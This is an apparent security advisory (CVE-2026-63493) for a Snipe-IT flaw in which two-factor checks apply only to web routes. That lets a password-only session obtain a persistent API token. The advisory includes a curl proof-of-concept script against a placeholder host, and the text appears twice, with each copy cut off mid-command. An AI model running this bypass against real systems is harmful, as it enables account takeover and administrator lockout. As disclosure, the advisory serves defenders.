CVE-2026-63493

Snipe-IT is an IT asset/license management system. Prior to 8.7.0, a password-authenticated session for an account with self.api permission can reach the personal-access-token API flow before completing the account's second-factor challenge because CheckForTwoFactor is enforced in the web middleware group but not the API middleware group. The advisory states that the resulting persistent API token can read and modify resources with the victim's permissions and, for an administrator, can reach the users/two_factor_reset endpoint. Resetting the administrator's enrolled second factor allows the password-holding attacker to enroll an attacker-controlled factor, take over the administrator's web account, and lock out the legitimate user. The token does not create a web session, but it provides broad API access while the same browser session remains blocked at the two-factor page. This vulnerability is fixed in 8.7.0.

Snipe-IT is an IT asset/license management system. Prior to 8.7.0, a password-authenticated session for an account with self.api permission can reach the personal-access-token API flow before completing the account's second-factor challenge because CheckForTwoFactor is enforced in the web middleware group but not the API middleware group. The advisory states that the resulting persistent API token can read and modify resources with the victim's permissions and, for an administrator, can reach the users/two_factor_reset endpoint. Resetting the administrator's enrolled second factor allows the password-holding attacker to enroll an attacker-controlled factor, take over the administrator's web account, and lock out the legitimate user. The token does not create a web session, but it provides broad API access while the same browser session remains blocked at the two-factor page. This vulnerability is fixed in 8.7.0.

Impact

An attacker who knows a victim's password fully bypasses that account's 2FA and obtains a persistent token with full API access as the user (read and write across the user's permissions, including admin if the victim is an admin).

The token is an API credential, not a web/UI session (using it on web routes redirects to /login), but the REST API covers essentially the whole application. If the victim is an admin, the token can also call the admin users/two_factor_reset endpoint, which is in the same un-gated API surface, to clear the account's enrolled 2FA. The next login is then forced to re-enroll a second factor, which the password-holding attacker can complete with their own device, taking over the account's web access and locking the legitimate user out.

Summary:

2FA is enforced only by the web middleware group, not the api group, and the personal-access-token endpoint is in the api group. A session that has passed the password check but not the 2FA can mint a persistent API token and use it for full API access.

Details:

CheckForTwoFactor is in the web group but not the api group:

// app/Http/Kernel.php
'web' => [ ..., CheckForTwoFactor::class, CreateFreshApiToken::class, ... ],
'api' => [ 'auth:api', EnforceApiUserAgent::class, ... ],   // no CheckForTwoFactor

Two consequences:

1. /two-factor is exempt from the check, and CreateFreshApiToken runs right after it in the web group:

   // app/Http/Middleware/CheckForTwoFactor.php public const IGNORE_ROUTES = ['two-factor', 'two-factor-enroll', 'setup', 'logout'];

So a password-authenticated session that lands on /two-factor (before entering a code) is let through and gets issued the Passport snipeit_passport_token cookie.

2. The token endpoint is in the api group, which never checks 2FA, gated only by self.api:

   // routes/api.php -> Api\ProfileController::createApiToken (line 98) if (! Gate::allows('self.api')) { ... } // the only gate; no 2FA check

Login authenticates on the password alone (LoginController::login calls Auth::login). 2FA is enforced only by web middleware on later page loads. So between a correct password and a completed second factor the session is already authenticated, can grab the Passport cookie via /two-factor, and can call the token endpoint over the api group. The token is long-lived (40-year expiry by default) and grants full API access as the user.

Proof of concept:

Setup: an account with 2FA enabled and the self.api permission (the permission that governs API access, so any account meant to use the API has it). The attacker has the password but not the TOTP device, and never completes the second factor.

HOST=https://snipeit.example.com/
USER=victim
PASS='victim-password'

# 1. log in with the password only. Every web page now redirects to
#    /two-factor until a code is entered. never enter one.
csrf=$(curl -s -c cookies.txt "$HOST/login" \
       | grep -oP 'name="_token" value="\K[^"]+')
curl -s -b cookies.txt -c cookies.txt "$HOST/login" \
     --data-urlencode "_token=$csrf" \
     --data-urlencode "username=$USER" \
     --data-urlencode "password=$PASS" -o /dev/null

# 2. GET /two-factor with no code. It is exempt from the 2FA check, so
#    CreateFreshApiToken issues the snipeit_passport_token cookie.
curl -s -b cookies.txt -c cookies.txt "$HOST/two-factor" -o /dev/null
grep -q snipeit_passport_token cookies.txt && echo "[2] Passport cookie issued, no code"

# 3. mint a persistent token over the api group (no 2FA check). Passport's
#    cookie guard wants the session's own XSRF token echoed as a header,
#    which our session already holds.
xsrf=$(awk '/XSRF-TOKEN/{print $7}' cookies.txt | tail -1)
xsrf=$(printf '%b' "${xsrf//%/\\x}")
pat=$(curl -s -b cookies.txt "$HOST/api/v1/account/personal-access-tokens" \
      -X POST -H "Accept:…

Snipe-IT is an IT asset/license management system. Prior to 8.7.0, a password-authenticated session for an account with self.api permission can reach the personal-access-token API flow before completing the account's second-factor challenge because CheckForTwoFactor is enforced in the web middleware group but not the API middleware group. The advisory states that the resulting persistent API token can read and modify resources with the victim's permissions and, for an administrator, can reach the users/two_factor_reset endpoint. Resetting the administrator's enrolled second factor allows the password-holding attacker to enroll an attacker-controlled factor, take over the administrator's web account, and lock out the legitimate user. The token does not create a web session, but it provides broad API access while the same browser session remains blocked at the two-factor page. This vulnerability is fixed in 8.7.0.

Snipe-IT is an IT asset/license management system. Prior to 8.7.0, a password-authenticated session for an account with self.api permission can reach the personal-access-token API flow before completing the account's second-factor challenge because CheckForTwoFactor is enforced in the web middleware group but not the API middleware group. The advisory states that the resulting persistent API token can read and modify resources with the victim's permissions and, for an administrator, can reach the users/two_factor_reset endpoint. Resetting the administrator's enrolled second factor allows the password-holding attacker to enroll an attacker-controlled factor, take over the administrator's web account, and lock out the legitimate user. The token does not create a web session, but it provides broad API access while the same browser session remains blocked at the two-factor page. This vulnerability is fixed in 8.7.0.

Impact

An attacker who knows a victim's password fully bypasses that account's 2FA and obtains a persistent token with full API access as the user (read and write across the user's permissions, including admin if the victim is an admin).

The token is an API credential, not a web/UI session (using it on web routes redirects to /login), but the REST API covers essentially the whole application. If the victim is an admin, the token can also call the admin users/two_factor_reset endpoint, which is in the same un-gated API surface, to clear the account's enrolled 2FA. The next login is then forced to re-enroll a second factor, which the password-holding attacker can complete with their own device, taking over the account's web access and locking the legitimate user out.

Summary:

2FA is enforced only by the web middleware group, not the api group, and the personal-access-token endpoint is in the api group. A session that has passed the password check but not the 2FA can mint a persistent API token and use it for full API access.

Details:

CheckForTwoFactor is in the web group but not the api group:

// app/Http/Kernel.php
'web' => [ ..., CheckForTwoFactor::class, CreateFreshApiToken::class, ... ],
'api' => [ 'auth:api', EnforceApiUserAgent::class, ... ],   // no CheckForTwoFactor

Two consequences:

1. /two-factor is exempt from the check, and CreateFreshApiToken runs right after it in the web group:

   // app/Http/Middleware/CheckForTwoFactor.php public const IGNORE_ROUTES = ['two-factor', 'two-factor-enroll', 'setup', 'logout'];

So a password-authenticated session that lands on /two-factor (before entering a code) is let through and gets issued the Passport snipeit_passport_token cookie.

2. The token endpoint is in the api group, which never checks 2FA, gated only by self.api:

   // routes/api.php -> Api\ProfileController::createApiToken (line 98) if (! Gate::allows('self.api')) { ... } // the only gate; no 2FA check

Login authenticates on the password alone (LoginController::login calls Auth::login). 2FA is enforced only by web middleware on later page loads. So between a correct password and a completed second factor the session is already authenticated, can grab the Passport cookie via /two-factor, and can call the token endpoint over the api group. The token is long-lived (40-year expiry by default) and grants full API access as the user.

Proof of concept:

Setup: an account with 2FA enabled and the self.api permission (the permission that governs API access, so any account meant to use the API has it). The attacker has the password but not the TOTP device, and never completes the second factor.

HOST=https://snipeit.example.com/
USER=victim
PASS='victim-password'

# 1. log in with the password only. Every web page now redirects to
#    /two-factor until a code is entered. never enter one.
csrf=$(curl -s -c cookies.txt "$HOST/login" \
       | grep -oP 'name="_token" value="\K[^"]+')
curl -s -b cookies.txt -c cookies.txt "$HOST/login" \
     --data-urlencode "_token=$csrf" \
     --data-urlencode "username=$USER" \
     --data-urlencode "password=$PASS" -o /dev/null

# 2. GET /two-factor with no code. It is exempt from the 2FA check, so
#    CreateFreshApiToken issues the snipeit_passport_token cookie.
curl -s -b cookies.txt -c cookies.txt "$HOST/two-factor" -o /dev/null
grep -q snipeit_passport_token cookies.txt && echo "[2] Passport cookie issued, no code"

# 3. mint a persistent token over the api group (no 2FA check). Passport's
#    cookie guard wants the session's own XSRF token echoed as a header,
#    which our session already holds.
xsrf=$(awk '/XSRF-TOKEN/{print $7}' cookies.txt | tail -1)
xsrf=$(printf '%b' "${xsrf//%/\\x}")
pat=$(curl -s -b cookies.txt "$HOST/api/v1/account/personal-access-tokens" \
      -X POST -H "Accept:…